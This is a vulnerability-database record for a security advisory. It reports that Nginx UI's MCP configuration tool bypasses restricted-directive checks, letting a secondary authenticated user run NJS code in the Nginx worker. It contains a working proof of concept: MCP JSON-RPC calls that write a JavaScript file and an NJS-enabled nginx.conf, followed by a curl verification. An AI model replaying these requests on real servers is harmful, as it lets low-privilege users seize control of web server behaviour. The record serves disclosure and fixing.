{"id":"GHSA-5r62-gj48-897x","revision":"52323e7070454cea94bc188a1390eb99","records":[{"revision":"52323e7070454cea94bc188a1390eb99","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-5r62-gj48-897x","aliases":["CVE-2026-84319","GO-2026-6774"],"title":"Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context","description":"## Summary\n\nThe regular HTTP configuration API rejects restricted Nginx directives such as `load_module`, `js_import`, and `js_content`.\n\nHowever, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. In the lab, this allowed the user to load `ngx_http_js_module.so`, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context.\n\nThis is authenticated and is not OS command execution by itself.\n\n## Affected component\n\n- `/mcp`\n- `/mcp_message`\n- MCP tool: `nginx_config_add`\n- Nginx configuration validation\n\n## Impact\n\nA secondary authenticated user can bypass the restricted directive validation enforced by the HTTP API and execute attacker-controlled NJS inside the Nginx worker context.\n\nThis may allow modification of Nginx runtime behavior, including responses, routing, headers, redirects, and request handling.\n\n## Minimal PoC\n\n### Preconditions\n\n- Attacker has a secondary authenticated Nginx UI account.\n- MCP is enabled.\n- Nginx has NJS available:\n\n```bash\nfind / -name \"ngx_http_js_module.so\" 2>/dev/null\n```\n\nObserved in the lab:\n\n```text\n/usr/lib/nginx/modules/ngx_http_js_module.so\n```\n\n### 1. HTTP API blocks the restricted config\n\nRequest:\n\n```http\nPOST /api/configs\nAuthorization: <SECONDARY_USER_JWT>\nContent-Type: application/json\n```\n\nBody:\n\n```json\n{\n \"name\": \"nginx.conf\",\n \"base_dir\": \"\",\n \"overwrite\": true,\n \"sync_node_ids\": [],\n \"content\": \"load_module modules/ngx_http_js_module.so;\\n\\nuser nginx;\\nworker_processes auto;\\n\\nevents { worker_connections 1024; }\\n\\nhttp {\\n js_import poc from /etc/nginx/poc.js;\\n server {\\n listen 127.0.0.1:18249;\\n location /__poc { js_content poc.handler; }\\n }\\n}\\n\"\n}\n```\n\nObserved result:\n\n```text\nRejected because the content contains restricted directives such as load_module/js_import/js_content.\n```\n\n### 2. MCP writes the JavaScript file\n\nOpen an MCP session and call `tools/call` with:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"nginx_config_add\",\n \"arguments\": {\n \"name\": \"poc.js\",\n \"base_dir\": \"\",\n \"overwrite\": true,\n \"sync_node_ids\": [],\n \"content\": \"function handler(r) { r.return(200, \\\"MCP_NJS_MARKER\\\\n\\\"); }\\nexport default { handler };\\n\"\n }\n }\n}\n```\n\n### 3. MCP writes the NJS-enabled nginx.conf\n\nCall `tools/call` again:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"nginx_config_add\",\n \"arguments\": {\n \"name\": \"nginx.conf\",\n \"base_dir\": \"\",\n \"overwrite\": true,\n \"sync_node_ids\": [],\n \"content\": \"load_module modules/ngx_http_js_module.so;\\n\\nuser nginx;\\nworker_processes auto;\\n\\nerror_log /var/log/nginx/error.log notice;\\npid /run/nginx.pid;\\n\\nevents { worker_connections 1024; }\\n\\nhttp {\\n default_type application/octet-stream;\\n js_import poc from /etc/nginx/poc.js;\\n server {\\n listen 127.0.0.1:18249;\\n location /__poc { js_content poc.handler; }\\n }\\n}\\n\"\n }\n }\n}\n```\n\n### 4. Verify NJS execution\n\nInside the Nginx UI container:\n\n```bash\ncurl -i http://127.0.0.1:18249/__poc\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\n\nMCP_NJS_MARKER\n```\n\nThis confirms that content rejected by the HTTP API can be applied through MCP and executed as NJS in the Nginx worker context.\n\n## Expected behavior\n\nMCP configuration tools should enforce the same restricted directive validation as the HTTP API.\n\n## Suggested fix\n\nApply `ValidateConfigFile(path, content)` before MCP configuration writes and ensure HTTP API and MCP share the same validation tests for restricted directives such as:\n\n- `load_module`\n- `js_import`\n- `js_content`\n- `js_set`\n- `perl_set`\n- `user root`","state":0,"publishedAt":"2026-10-15T20:10:44+00:00","modifiedAt":"2026-10-19T21:41:02.8029868+00:00","affected":[{"ecosystem":"Go","name":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.9.10-0.20260703131214-23d1934099b0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-5r62-gj48-897x","https://nvd.nist.gov/vuln/detail/CVE-2026-84319","https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2","https://github.com/0xJacky/nginx-ui","https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"],"sourceUrl":"https://github.com/advisories/GHSA-5r62-gj48-897x","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5r62-gj48-897x","identifiers":["GHSA-5r62-gj48-897x","CVE-2026-84319","GO-2026-6774"]},"retained":false,"historicalAffected":[]}],"coverage":[]}